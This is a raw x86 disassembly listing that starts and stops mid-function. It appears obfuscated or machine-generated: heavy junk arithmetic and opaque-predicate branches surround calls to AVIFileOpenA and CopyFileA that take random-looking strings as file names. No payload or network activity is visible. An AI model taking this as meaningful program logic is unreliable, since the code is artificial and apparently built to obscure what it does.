mov dword [ebp - 0x26b4], 1
jmp 0x4089a0
mov dword [ebp - 0x26b4], 0
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x26a4]
and ecx, dword [ebp - 0x64]
xor eax, ecx
or eax, dword [ebp - 0x26a8]
mov edx, dword [ebp - 0x26ac]
and edx, dword [ebp - 0x26b0]
xor edx, dword [ebp - 0x26b4]
or eax, edx
mov dword [ebp - 0x11a4], eax
mov eax, dword [ebp - 0x11a4]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x11a4]
and ecx, 1
cmp eax, ecx
je 0x4089f5
mov dword [ebp - 0x26b8], 1
jmp 0x4089ff
mov dword [ebp - 0x26b8], 0
mov edx, dword [ebp - 0x26b8]
add edx, 1
mov dword [ebp - 0x11a4], edx
push 0
mov eax, dword [ebp - 0x11a4]
push eax
mov ecx, dword [ebp - 0x7408]
push ecx
lea edx, [ebp - 0x9444]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0
je 0x408b76
mov dword [ebp - 0x740c], str.Tp0LJNq88qJ38up535L9zCxyv8nYdgAM
mov dword [ebp - 0x7410], str.sJtUDqSVE6vDDIW8zLYhDlw
mov eax, dword [ebp - 0x728]
add eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x728]
add ecx, 0x93
cmp eax, ecx
jne 0x408a79
mov dword [ebp - 0x26c0], 1
jmp 0x408a83
mov dword [ebp - 0x26c0], 0
imul edx, dword [ebp - 0x728], 0xcd
cmp edx, 0x79
jne 0x408a9e
mov dword [ebp - 0x26bc], 1
jmp 0x408aa8
mov dword [ebp - 0x26bc], 0
mov eax, dword [ebp - 0x26bc]
cmp eax, dword [ebp - 0x728]
jne 0x408ac2
mov dword [ebp - 0x26c4], 1
jmp 0x408acc
mov dword [ebp - 0x26c4], 0
mov ecx, dword [ebp - 0x728]
and ecx, dword [ebp - 0x26c0]
xor ecx, dword [ebp - 0x26c4]
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x728]
xor edx, 0xdc
or ecx, edx
mov dword [ebp - 0xb94], ecx
mov eax, dword [ebp - 0xb94]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xb94]
and ecx, 1
cmp eax, ecx
je 0x408b1c
mov dword [ebp - 0x26c8], 1
jmp 0x408b26
mov dword [ebp - 0x26c8], 0
mov edx, dword [ebp - 0x26c8]
add edx, 1
mov dword [ebp - 0xb94], edx
mov eax, dword [ebp - 0xb94]
add eax, 1
mov dword [ebp - 0xb94], eax
mov ecx, dword [ebp - 0xb94]
add ecx, 1
mov dword [ebp - 0xb94], ecx
mov edx, dword [ebp - 0xb94]
push edx
mov eax, dword [ebp - 0x740c]
push eax
mov ecx, dword [ebp - 0x7410]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7414], eax
jmp 0x408b85
mov edx, dword [ebp - 0x728]
add edx, 1
mov dword [ebp - 0x728], edx
mov dword [ebp - 0x7418], str.0GTK1NixAk9efzGzA91Bodwd3FZtdnU3
mov dword [ebp - 0x741c], str.c0B97bptP7KXV5eUZbMhJmQiADBC
cmp dword [ebp - 0x728], 0x4a
jne 0x408bae
mov dword [ebp - 0x26cc], 1
jmp 0x408bb8
mov dword [ebp - 0x26cc], 0
mov eax, dword [ebp - 0x26cc]
cmp eax, dword [ebp - 0x728]
jne 0x408bd2
mov dword [ebp - 0x26d4], 1
jmp 0x408bdc
mov dword [ebp - 0x26d4], 0
mov ecx, dword [ebp - 0x728]
cmp ecx, dword [ebp - 0x728]
jne 0x408bf6
mov dword [ebp - 0x26d0], 1
jmp 0x408c00
mov dword [ebp - 0x26d0], 0
cmp dword [ebp - 0x26d0], 0x6b
je 0x408c15
mov dword [ebp - 0x26d8], 1
jmp 0x408c1f
mov dword [ebp - 0x26d8], 0
mov edx, dword [ebp - 0x26d4]
and edx, 0xcd
mov eax, dword [ebp - 0x728]
add eax, dword [ebp - 0x728]
add eax, 0xb
sub eax, dword [ebp - 0x728]
and eax, 0xed
xor edx, eax
or edx, dword [ebp - 0x26d8]
mov dword [ebp - 0xb98], edx
mov ecx, dword [ebp - 0xb98]
add ecx, dword [ebp - 0xb98]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xb98], ecx
mov edx, dword [ebp - 0xb98]
add edx, 1
mov dword [ebp - 0xb98], edx
mov eax, dword [ebp - 0xb98]
add eax, 1
mov dword [ebp - 0xb98], eax
mov ecx, dword [ebp - 0xb98]
push ecx
mov edx, dword [ebp - 0x7418]
push edx
mov eax, dword [ebp - 0x741c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7420], eax
jmp 0x409cde
mov dword [ebp - 0x7424], str.NngSiT7e7QF2O2k
mov dword [ebp - 0x7428], str.j2tYkzFMIj
cmp dword [ebp - 0x548], 0x43
je 0x408cd8
mov dword [ebp - 0x26dc], 1
jmp 0x408ce2
mov dword [ebp - 0x26dc], 0
cmp dword [ebp - 0x548], 0xd2
je 0x408cfa
mov dword [ebp - 0x26e0], 1
jmp 0x408d04
mov dword [ebp - 0x26e0], 0
mov ecx, dword [ebp - 0x548]
sub ecx, dword [ebp - 0x548]
cmp ecx, 0x5f
je 0x408d21
mov dword [ebp - 0x26e4], 1
jmp 0x408d2b
mov dword [ebp - 0x26e4], 0
mov edx, dword [ebp - 0x26dc]
and edx, dword [ebp - 0x26e0]
mov eax, dword [ebp - 0x548]
sub eax, dword [ebp - 0x548]
mov ecx, dword [ebp - 0x548]
sub ecx, dword [ebp - 0x548]
and eax, ecx
xor edx, eax
or edx, 0x2d
mov eax, dword [ebp - 0x548]
or edx, eax
mov ecx, dword [ebp - 0x548]
and ecx, dword [ebp - 0x26e4]
and ecx, dword [ebp - 0x548]
mov eax, dword [ebp - 0x548]
add eax, 0xf9
and ecx, eax
or edx, ecx
mov dword [ebp - 0x72c], edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x72c]
and ecx, 1
or ecx, 1
mov dword [ebp - 0x72c], ecx
mov edx, dword [ebp - 0x72c]
add edx, 1
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x72c]
add eax, 1
mov dword [ebp - 0x72c], eax
mov ecx, dword [ebp - 0x72c]
push ecx
mov edx, dword [ebp - 0x7424]
push edx
mov eax, dword [ebp - 0x7428]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0
je 0x409268
mov dword [ebp - 0x742c], str.mveg8aqvC
mov ecx, dword [ebp - 0x2c0]
cmp ecx, dword [ebp - 0x2c0]
jne 0x408e0d
mov dword [ebp - 0x26e8], 1
jmp 0x408e17
mov dword [ebp - 0x26e8], 0
mov edx, dword [ebp - 0x2c0]
sub edx, 0xbf
cmp dword [ebp - 0x26e8], edx
je 0x408e37
mov dword [ebp - 0x26f0], 1
jmp 0x408e41
mov dword [ebp - 0x26f0], 0
cmp dword [ebp - 0x2c0], 0x63
je 0x408e56
mov dword [ebp - 0x26f4], 1
jmp 0x408e60
mov dword [ebp - 0x26f4], 0
mov eax, dword [ebp - 0x2c0]
add eax, 0xc9
mov ecx, dword [ebp - 0x2c0]
add ecx, dword [ebp - 0x2c0]
cmp eax, ecx
jne 0x408e87
mov dword [ebp - 0x26ec], 1
jmp 0x408e91
mov dword [ebp - 0x26ec], 0
mov edx, 0x55
sub edx, dword [ebp - 0x2c0]
cmp dword [ebp - 0x26ec], edx
jne 0x408eb0
mov dword [ebp - 0x26f8], 1
jmp 0x408eba
mov dword [ebp - 0x26f8], 0
mov eax, dword [ebp - 0x26f0]
and eax, dword [ebp - 0x26f4]
mov ecx, dword [ebp - 0x2c0]
add ecx, 0x7d
xor ecx, dword [ebp - 0x26f8]
or eax, ecx
mov edx, dword [ebp - 0x2c0]
sub edx, dword [ebp - 0x2c0]
and edx, dword [ebp - 0x2c0]
and edx, 0x7c
or eax, edx
mov dword [ebp - 0x11a8], eax
mov eax, dword [ebp - 0x11a8]
not eax
cmp eax, dword [ebp - 0x11a8]
jne 0x408f10
mov dword [ebp - 0x26fc], 1
jmp 0x408f1a
mov dword [ebp - 0x26fc], 0
mov ecx, dword [ebp - 0x26fc]
add ecx, 4
mov dword [ebp - 0x11a8], ecx
push 0
mov edx, dword [ebp - 0x11a8]
push edx
mov eax, dword [ebp - 0x742c]
push eax
lea ecx, [ebp - 0x9448]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
je 0x4090e0
mov dword [ebp - 0x7430], str.SmNYHnpwNb
mov dword [ebp - 0x7434], str.b6ZfGBxOwAmoYbyeZr
mov edx, dword [ebp - 0x164]
cmp edx, dword [ebp - 0x164]
je 0x408f86
mov dword [ebp - 0x2704], 1
jmp 0x408f90
mov dword [ebp - 0x2704], 0
imul eax, dword [ebp - 0x164], 0x85
sub eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x164]
cmp eax, ecx
jne 0x408fbd
mov dword [ebp - 0x2700], 1
jmp 0x408fc7
mov dword [ebp - 0x2700], 0
mov edx, dword [ebp - 0x164]
add edx, 0x88
cmp dword [ebp - 0x2700], edx
jne 0x408fe7
mov dword [ebp - 0x2708], 1
jmp 0x408ff1
mov dword [ebp - 0x2708], 0
cmp dword [ebp - 0x164], 0x36
jne 0x409006
mov dword [ebp - 0x270c], 1
jmp 0x409010
mov dword [ebp - 0x270c], 0
mov eax, dword [ebp - 0x2704]
and eax, 0x74
and eax, dword [ebp - 0x164]
and eax, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x164], 0xb3
mov edx, dword [ebp - 0x164]
sub edx, ecx
and eax, edx
and eax, dword [ebp - 0x2708]
and eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x164]
add ecx, 0x3b
and eax, ecx
xor eax, dword [ebp - 0x270c]
or eax, dword [ebp - 0x164]
mov dword [ebp - 0xb9c], eax
mov edx, dword [ebp - 0xb9c]
neg edx
and edx, 1
mov eax, dword [ebp - 0xb9c]
and eax, 1
cmp edx, eax
je 0x409086
mov dword [ebp - 0x2710], 1
jmp 0x409090
mov dword [ebp - 0x2710], 0
mov ecx, dword [ebp - 0x2710]
or ecx, 1
mov dword [ebp - 0xb9c], ecx
mov edx, dword [ebp - 0xb9c]
add edx, 1
mov dword [ebp - 0xb9c], edx
mov eax, dword [ebp - 0xb9c]
add eax, 1
mov dword [ebp - 0xb9c], eax
mov ecx, dword [ebp - 0xb9c]
push ecx
mov edx, dword [ebp - 0x7430]
push edx
mov eax, dword [ebp - 0x7434]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7438], eax
jmp 0x4090ef
mov ecx, dword [ebp - 0x164]
add ecx, 1
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x743c], str.oP9QlxI5s2hRTrVNiKoGGCT
mov dword [ebp - 0x7440], str.bG7JZ3z
imul edx, dword [ebp - 0x164], 0x78
sub edx, dword [ebp - 0x164]
cmp edx, 0x54
jne 0x409121
mov dword [ebp - 0x2714], 1
jmp 0x40912b
mov dword [ebp - 0x2714], 0
mov eax, dword [ebp - 0x2714]
cmp eax, dword [ebp - 0x164]
je 0x409145
mov dword [ebp - 0x2720], 1
jmp 0x40914f
mov dword [ebp - 0x2720], 0
mov ecx, dword [ebp - 0x164]
cmp ecx, dword [ebp - 0x164]
jne 0x409169
mov dword [ebp - 0x2718], 1
jmp 0x409173
mov dword [ebp - 0x2718], 0
mov edx, dword [ebp - 0x2718]
cmp edx, dword [ebp - 0x164]
jne 0x40918d
mov dword [ebp - 0x271c], 1
jmp 0x409197
mov dword [ebp - 0x271c], 0
mov eax, dword [ebp - 0x271c]
cmp eax, dword [ebp - 0x164]
je 0x4091b1
mov dword [ebp - 0x2724], 1
jmp 0x4091bb
mov dword [ebp - 0x2724], 0
mov ecx, dword [ebp - 0x164]
add ecx, 0xb5
and ecx, dword [ebp - 0x2720]
mov edx, dword [ebp - 0x164]
xor edx, 0x84
or ecx, edx
or ecx, dword [ebp - 0x2724]
mov dword [ebp - 0xba0], ecx
mov eax, dword [ebp - 0xba0]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xba0]
and ecx, 1
cmp eax, ecx
je 0x40920b
mov dword [ebp - 0x2728], 1
jmp 0x409215
mov dword [ebp - 0x2728], 0
mov edx, dword [ebp - 0x2728]
add edx, 1
mov dword [ebp - 0xba0], edx
mov eax, dword [ebp - 0xba0]
add eax, 1
mov dword [ebp - 0xba0], eax
mov ecx, dword [ebp - 0xba0]
add ecx, 1
mov dword [ebp - 0xba0], ecx
mov edx, dword [ebp - 0xba0]
push edx
mov eax, dword [ebp - 0x743c]
push eax
mov ecx, dword [ebp - 0x7440]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7444], eax
jmp 0x4097c9
mov dword [ebp - 0x7448], str.OoZDRtrkzfeWI
mov dword [ebp - 0x744c], str.VvNkLJGlVudzOXyslFb
mov edx, dword [ebp - 0x72c]
cmp edx, dword [ebp - 0x72c]
jne 0x409296
mov dword [ebp - 0x272c], 1
jmp 0x4092a0
mov dword [ebp - 0x272c], 0
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x72c]
imul ecx, dword [ebp - 0x72c], 0xb2
imul edx, dword [ebp - 0x72c], 0x81
add ecx, edx
cmp eax, ecx
jne 0x4092d2
mov dword [ebp - 0x2730], 1
jmp 0x4092dc
mov dword [ebp - 0x2730], 0
imul eax, dword [ebp - 0x72c], 0x21
and eax, dword [ebp - 0x272c]
and eax, dword [ebp - 0x2730]
mov ecx, dword [ebp - 0x72c]
imul ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x72c]
and eax, ecx
or eax, dword [ebp - 0x72c]
mov dword [ebp - 0x854], eax
mov edx, dword [ebp - 0x854]
neg edx
xor edx, dword [ebp - 0x854]
and edx, 1
or edx, 1
mov dword [ebp - 0x854], edx
mov eax, dword [ebp - 0x854]
add eax, 1
mov dword [ebp - 0x854], eax
mov ecx, dword [ebp - 0x854]
add ecx, 1
mov dword [ebp - 0x854], ecx
mov edx, dword [ebp - 0x854]
push edx
mov eax, dword [ebp - 0x7448]
push eax
mov ecx, dword [ebp - 0x744c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
je 0x409553
mov dword [ebp - 0x7450], str.ffnv2tpTqjTZ2gV3h2nzN
mov dword [ebp - 0x7454], str.cL6By
mov edx, dword [ebp - 0x54c]
add edx, 5
add edx, dword [ebp - 0x54c]
cmp edx, 0xcf
jne 0x4093b3
mov dword [ebp - 0x2744], 1
jmp 0x4093bd
mov dword [ebp - 0x2744], 0
cmp dword [ebp - 0x54c], 8
je 0x4093d2
mov dword [ebp - 0x2734], 1
jmp 0x4093dc
mov dword [ebp - 0x2734], 0
mov eax, dword [ebp - 0x2734]
cmp eax, dword [ebp - 0x54c]
jne 0x4093f6
mov dword [ebp - 0x2748], 1
jmp 0x409400
mov dword [ebp - 0x2748], 0
cmp dword [ebp - 0x54c], 0x12
jne 0x409415
mov dword [ebp - 0x2738], 1
jmp 0x40941f
mov dword [ebp - 0x2738], 0
mov ecx, dword [ebp - 0x2738]
cmp ecx, dword [ebp - 0x54c]
jne 0x409439
mov dword [ebp - 0x273c], 1
jmp 0x409443
mov dword [ebp - 0x273c], 0
cmp dword [ebp - 0x273c], 0xd3
jne 0x40945b
mov dword [ebp - 0x2740], 1
jmp 0x409465
mov dword [ebp - 0x2740], 0
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x54c]
cmp dword [ebp - 0x2740], edx
jne 0x409485
mov dword [ebp - 0x274c], 1
jmp 0x40948f
mov dword [ebp - 0x274c], 0
mov eax, dword [ebp - 0x54c]
imul eax, dword [ebp - 0x54c]
cmp eax, 0x24
je 0x4094ad
mov dword [ebp - 0x2750], 1
jmp 0x4094b7
mov dword [ebp - 0x2750], 0
mov ecx, dword [ebp - 0x54c]
xor ecx, 0xd0
or ecx, dword [ebp - 0x2744]
mov edx, dword [ebp - 0x2748]
and edx, 0xaf
or ecx, edx
or ecx, dword [ebp - 0x274c]
or ecx, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x2750]
and eax, dword [ebp - 0x54c]
or ecx, eax
mov dword [ebp - 0xba4], ecx
mov ecx, dword [ebp - 0xba4]
add ecx, dword [ebp - 0xba4]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xba4], ecx
mov edx, dword [ebp - 0xba4]
add edx, 1
mov dword [ebp - 0xba4], edx
mov eax, dword [ebp - 0xba4]
add eax, 1
mov dword [ebp - 0xba4], eax
mov ecx, dword [ebp - 0xba4]
push ecx
mov edx, dword [ebp - 0x7450]
push edx
mov eax, dword [ebp - 0x7454]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7458], eax
jmp 0x409680
mov dword [ebp - 0x745c], str.qqCPyFCfOl6c19ZaPhR
mov ecx, dword [ebp - 0x854]
add ecx, dword [ebp - 0x854]
cmp ecx, dword [ebp - 0x854]
je 0x40957d
mov dword [ebp - 0x2754], 1
jmp 0x409587
mov dword [ebp - 0x2754], 0
cmp dword [ebp - 0x2754], 0xb3
jne 0x40959f
mov dword [ebp - 0x275c], 1
jmp 0x4095a9
mov dword [ebp - 0x275c], 0
mov edx, 0x7f
sub edx, dword [ebp - 0x854]
imul eax, dword [ebp - 0x854], 0xb9
add eax, dword [ebp - 0x854]
cmp edx, eax
je 0x4095d4
mov dword [ebp - 0x2758], 1
jmp 0x4095de
mov dword [ebp - 0x2758], 0
mov ecx, dword [ebp - 0x854]
add ecx, dword [ebp - 0x854]
cmp dword [ebp - 0x2758], ecx
jne 0x4095fe
mov dword [ebp - 0x2760], 1
jmp 0x409608
mov dword [ebp - 0x2760], 0
mov edx, dword [ebp - 0x854]
sub edx, dword [ebp - 0x854]
sub edx, dword [ebp - 0x854]
and edx, dword [ebp - 0x275c]
xor edx, dword [ebp - 0x2760]
mov dword [ebp - 0x11ac], edx
mov eax, dword [ebp - 0x11ac]
add eax, dword [ebp - 0x11ac]
and eax, 1
add eax, 3
mov dword [ebp - 0x11ac], eax
push 0
mov ecx, dword [ebp - 0x11ac]
push ecx
mov edx, dword [ebp - 0x745c]
push edx
lea eax, [ebp - 0x944c]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ae8], eax
cmp dword [ebp - 0x1ae8], 0
je 0x409671
jmp 0x409680
mov ecx, dword [ebp - 0x1ae8]
add ecx, 1
mov dword [ebp - 0x1ae8], ecx
mov dword [ebp - 0x7460], str.yywH76Aee5ZJ
cmp dword [ebp - 0x54c], 0x27
je 0x40969f
mov dword [ebp - 0x2768], 1
jmp 0x4096a9
mov dword [ebp - 0x2768], 0
cmp dword [ebp - 0x54c], 0xd1
jne 0x4096c1
mov dword [ebp - 0x276c], 1
jmp 0x4096cb
mov dword [ebp - 0x276c], 0
mov edx, dword [ebp - 0x54c]
cmp edx, dword [ebp - 0x54c]
jne 0x4096e5
mov dword [ebp - 0x2764], 1
jmp 0x4096ef
mov dword [ebp - 0x2764], 0
mov eax, dword [ebp - 0x54c]
add eax, 0xc2
cmp dword [ebp - 0x2764], eax
jne 0x40970e
mov dword [ebp - 0x2770], 1
jmp 0x409718
mov dword [ebp - 0x2770], 0
mov ecx, dword [ebp - 0x54c]
add ecx, 0x9d
and ecx, dword [ebp - 0x2768]
and ecx, dword [ebp - 0x276c]
xor ecx, 0x28
mov edx, dword [ebp - 0x2770]
and edx, dword [ebp - 0x54c]
xor ecx, edx
or ecx, dword [ebp - 0x54c]
mov dword [ebp - 0x11b0], ecx
mov eax, dword [ebp - 0x11b0]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x11b0]
and ecx, 1
cmp eax, ecx
je 0x409771
mov dword [ebp - 0x2774], 1
jmp 0x40977b
mov dword [ebp - 0x2774], 0
mov edx, dword [ebp - 0x2774]
add edx, 1
shl edx, 2
mov dword [ebp - 0x11b0], edx
push 0
mov eax, dword [ebp - 0x11b0]
push eax
mov ecx, dword [ebp - 0x7460]
push ecx
lea edx, [ebp - 0x9450]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1aec], eax
cmp dword [ebp - 0x1aec], 0
je 0x4097ba
jmp 0x4097c9
mov eax, dword [ebp - 0x1aec]
add eax, 1
mov dword [ebp - 0x1aec], eax
mov dword [ebp - 0x7464], str.9vjd9zVo
mov dword [ebp - 0x7468], str.ao9bk5uVOpRj9Twhp1rPYU6sfEgi
imul ecx, dword [ebp - 0x2c0], 0x9f
cmp ecx, 0x87
je 0x4097fb
mov dword [ebp - 0x2778], 1
jmp 0x409805
mov dword [ebp - 0x2778], 0
mov edx, 0x92
sub edx, dword [ebp - 0x2c0]
cmp edx, dword [ebp - 0x2c0]
jne 0x409824
mov dword [ebp - 0x277c], 1
jmp 0x40982e
mov dword [ebp - 0x277c], 0
mov eax, dword [ebp - 0x2c0]
sub eax, 0xe4
cmp eax, dword [ebp - 0x2c0]
je 0x40984d
mov dword [ebp - 0x2780], 1
jmp 0x409857
mov dword [ebp - 0x2780], 0
mov ecx, dword [ebp - 0x2c0]
imul ecx, dword [ebp - 0x2c0]
or ecx, dword [ebp - 0x2c0]
or ecx, dword [ebp - 0x2c0]
or ecx, dword [ebp - 0x2778]
or ecx, dword [ebp - 0x2c0]
mov edx, dword [ebp - 0x277c]
and edx, 0xc5
imul eax, dword [ebp - 0x2c0], 9
xor edx, eax
or ecx, edx
mov edx, dword [ebp - 0x2780]
and edx, 0xa4
xor edx, dword [ebp - 0x2c0]
or ecx, edx
mov dword [ebp - 0x624], ecx
mov eax, dword [ebp - 0x624]
neg eax
xor eax, dword [ebp - 0x624]
and eax, 1
add eax, 1
mov dword [ebp - 0x624], eax
mov ecx, dword [ebp - 0x624]
add ecx, 1
mov dword [ebp - 0x624], ecx
mov edx, dword [ebp - 0x624]
add edx, 1
mov dword [ebp - 0x624], edx
mov eax, dword [ebp - 0x624]
push eax
mov ecx, dword [ebp - 0x7464]
push ecx
mov edx, dword [ebp - 0x7468]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
je 0x409abe
mov dword [ebp - 0x746c], str.pZJIJ
cmp dword [ebp - 0x1f0], 0xa2
je 0x409935
mov dword [ebp - 0x2784], 1
jmp 0x40993f
mov dword [ebp - 0x2784], 0
cmp dword [ebp - 0x2784], 0x9e
je 0x409957
mov dword [ebp - 0x2788], 1
jmp 0x409961
mov dword [ebp - 0x2788], 0
mov eax, dword [ebp - 0x2788]
cmp eax, dword [ebp - 0x1f0]
je 0x40997b
mov dword [ebp - 0x278c], 1
jmp 0x409985
mov dword [ebp - 0x278c], 0
mov ecx, dword [ebp - 0x1f0]
add ecx, 0xfe
cmp dword [ebp - 0x278c], ecx
jne 0x4099a5
mov dword [ebp - 0x2790], 1
jmp 0x4099af
mov dword [ebp - 0x2790], 0
mov edx, dword [ebp - 0x2790]
cmp edx, dword [ebp - 0x1f0]
jne 0x4099c9
mov dword [ebp - 0x2794], 1
jmp 0x4099d3
mov dword [ebp - 0x2794], 0
mov eax, dword [ebp - 0x2794]
cmp eax, dword [ebp - 0x1f0]
je 0x4099ed
mov dword [ebp - 0x2798], 1
jmp 0x4099f7
mov dword [ebp - 0x2798], 0
mov ecx, dword [ebp - 0x1f0]
add ecx, 0x2b
and ecx, dword [ebp - 0x1f0]
xor ecx, dword [ebp - 0x2798]
mov edx, dword [ebp - 0x1f0]
add edx, 0xa7
and edx, dword [ebp - 0x1f0]
and edx, dword [ebp - 0x1f0]
xor ecx, edx
xor ecx, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1f0]
and eax, dword [ebp - 0x1f0]
xor ecx, eax
mov dword [ebp - 0x11b4], ecx
mov ecx, dword [ebp - 0x11b4]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x11b4]
and edx, 1
cmp ecx, edx
je 0x409a64
mov dword [ebp - 0x279c], 1
jmp 0x409a6e
mov dword [ebp - 0x279c], 0
mov eax, dword [ebp - 0x279c]
or eax, 4
mov dword [ebp - 0x11b4], eax
push 0
mov ecx, dword [ebp - 0x11b4]
push ecx
mov edx, dword [ebp - 0x746c]
push edx
lea eax, [ebp - 0x9454]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1af0], eax
cmp dword [ebp - 0x1af0], 0
je 0x409aaa
jmp 0x409ab9
mov ecx, dword [ebp - 0x1af0]
add ecx, 1
mov dword [ebp - 0x1af0], ecx
jmp 0x409bfe
mov dword [ebp - 0x7470], str.Y13Y2ahg6AoA4vO
mov dword [ebp - 0x7474], str.S3kSdaoaEwELV9HSrREPV3P61pjcE
mov edx, dword [ebp - 0x624]
cmp edx, dword [ebp - 0x624]
je 0x409aec
mov dword [ebp - 0x27a0], 1
jmp 0x409af6
mov dword [ebp - 0x27a0], 0
cmp dword [ebp - 0x624], 0x76
jne 0x409b0b
mov dword [ebp - 0x27a4], 1
jmp 0x409b15
mov dword [ebp - 0x27a4], 0
cmp dword [ebp - 0x624], 0xe6
jne 0x409b2d
mov dword [ebp - 0x27a8], 1
jmp 0x409b37
mov dword [ebp - 0x27a8], 0
mov eax, dword [ebp - 0x624]
cmp eax, dword [ebp - 0x624]
je 0x409b51
mov dword [ebp - 0x27ac], 1
jmp 0x409b5b
mov dword [ebp - 0x27ac], 0
mov ecx, dword [ebp - 0x27a0]
or ecx, dword [ebp - 0x624]
or ecx, dword [ebp - 0x624]
mov edx, dword [ebp - 0x624]
add edx, 0x2e
or ecx, edx
mov eax, dword [ebp - 0x624]
add eax, dword [ebp - 0x624]
add eax, 0xffffff2f
xor eax, dword [ebp - 0x27a4]
or ecx, eax
mov edx, dword [ebp - 0x27a8]
and edx, dword [ebp - 0x27ac]
or ecx, edx
mov dword [ebp - 0xba8], ecx
mov eax, dword [ebp - 0xba8]
neg eax
xor eax, dword [ebp - 0xba8]
and eax, 1
or eax, 1
mov dword [ebp - 0xba8], eax
mov ecx, dword [ebp - 0xba8]
add ecx, 1
mov dword [ebp - 0xba8], ecx
mov edx, dword [ebp - 0xba8]
add edx, 1
mov dword [ebp - 0xba8], edx
mov eax, dword [ebp - 0xba8]
push eax
mov ecx, dword [ebp - 0x7470]
push ecx
mov edx, dword [ebp - 0x7474]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7478], eax
mov dword [ebp - 0x747c], str.ZITAAJ
mov eax, dword [ebp - 0x1f0]
add eax, 0x2b
sub eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0x1f0]
je 0x409c2b
mov dword [ebp - 0x27b0], 1
jmp 0x409c35
mov dword [ebp - 0x27b0], 0
imul ecx, dword [ebp - 0x1f0], 0x97
mov edx, dword [ebp - 0x1f0]
sub edx, dword [ebp - 0x1f0]
and ecx, edx
or ecx, 0xfe
or ecx, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1f0]
and eax, 0xa3
or ecx, eax
mov edx, dword [ebp - 0x27b0]
and edx, 0x23
or ecx, edx
mov eax, dword [ebp - 0x1f0]
xor eax, dword [ebp - 0x1f0]
or ecx, eax
mov dword [ebp - 0x11b8], ecx
mov ecx, dword [ebp - 0x11b8]
neg ecx
xor ecx, dword [ebp - 0x11b8]
and ecx, 1
add ecx, 1
imul edx, ecx, 5
mov dword [ebp - 0x11b8], edx
push 0
mov eax, dword [ebp - 0x11b8]
push eax
mov ecx, dword [ebp - 0x747c]
push ecx
lea edx, [ebp - 0x9458]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1af4], eax
cmp dword [ebp - 0x1af4], 0
je 0x409ccf
jmp 0x409cde
mov eax, dword [ebp - 0x1af4]
add eax, 1
mov dword [ebp - 0x1af4], eax
mov dword [ebp - 0x7480], str.U6pLJKeBuuYm
mov ecx, 9
sub ecx, dword [ebp - 0x1f4]
sub ecx, dword [ebp - 0x1f4]
cmp ecx, 0xe5
je 0x409d0d
mov dword [ebp - 0x27b8], 1
jmp 0x409d17
mov dword [ebp - 0x27b8], 0
cmp dword [ebp - 0x1f4], 0xd0
jne 0x409d2f
mov dword [ebp - 0x27bc], 1
jmp 0x409d39
mov dword [ebp - 0x27bc], 0
mov edx, dword [ebp - 0x1f4]
sub edx, 0xd3
cmp dword [ebp - 0x1f4], edx
jne 0x409d59
mov dword [ebp - 0x27b4], 1
jmp 0x409d63
mov dword [ebp - 0x27b4], 0
imul eax, dword [ebp - 0x1f4], 0xc6
cmp dword [ebp - 0x27b4], eax
jne 0x409d81
mov dword [ebp - 0x27c0], 1
jmp 0x409d8b
mov dword [ebp - 0x27c0], 0
mov ecx, 0x87
xor ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1f4]
imul edx, dword [ebp - 0x1f4]
add edx, 0x4d
xor ecx, edx
xor ecx, dword [ebp - 0x27b8]
mov eax, dword [ebp - 0x27bc]
xor eax, dword [ebp - 0x27c0]
or ecx, eax
mov edx, dword [ebp - 0x1f4]
xor edx, dword [ebp - 0x1f4]
or ecx, edx
mov dword [ebp - 0x11bc], ecx
mov eax, dword [ebp - 0x11bc]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x11bc]
and ecx, 1
cmp eax, ecx
je 0x409df4
mov dword [ebp - 0x27c4], 1
